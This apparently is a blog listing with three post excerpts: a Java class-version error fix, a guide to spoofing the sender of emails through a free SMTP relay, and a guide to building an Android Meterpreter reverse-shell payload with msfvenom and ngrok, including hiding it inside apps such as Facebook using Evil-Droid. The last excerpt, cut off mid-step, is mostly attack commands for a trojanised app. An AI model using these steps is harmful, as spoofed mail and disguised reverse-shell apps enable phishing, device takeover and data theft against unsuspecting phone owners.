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How to fix (Error: LinkageError occurred while loading main class test java.lang.UnsupportedClassVersionError: test has been compiled by a more recent version of the Java Runtime (class file version 63.0), this version of the Java Runtime only recognizes class file versions up to 55.0)

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While trying to compile and run the java program i got : Error: LinkageError occurred while loading main class test java.lang.UnsupportedClassVersionError: test has been compiled by a more recent version of the Java Runtime (class file version 63.0), this version of the Java Runtime only recognizes class file versions up to 55 . 0 To resolve the error i did: sudo update-alternatives --config java and chose the manual method(2). Worked like charm for me.

How to send mail from any email(Gmail,yahoo etc) to another(sounds like magic but it actually works)

You can send email from any email except from email of companies like: Google,Facebook,etc. Step 1: First we need a SMTP server to send mails so, a free service is needed.we use: sendinblue . Create a free account of sendinblue.  Step 2: Now from the free service navigate to SMTP Token and create a new SMTP Token. Step 3: Now after creating the new token you get: smtp server, port, login(which is your email) and a unique key for your newly created token. Step 4: Now start your kali linux and in terminal type commands below:

How To Create Android payload with Ngrok and Kali llinux which works over WAN(on mobile netwrok).

Process for creating android Payload(on Kali Linux):   1. First set   ngrok   tcp   server:     Command: Ngrok   tcp   7777(or any   lport you want)       2. Now for normal payload :    COMMAND:   msfvenom   –p android/ meterpreter / reverse_tcp   lhost = ip -address   lport =port R > payload- name.apk       3. Or step 3 for creating   paylaod on the apps(hiding payload inside the apps) that are useful such as: facebook   etc.   To create a payload inside an app use tool name Evil-Droid(link: https://github.com/M4sc3r4n0/Evil-Droid):        1. cd Evil-Dorid     2. bash   evildroid     now select no 3 and allow for   apache   server creation     now for the   lhost   select the   ngrok   Forwarding   eg :           ...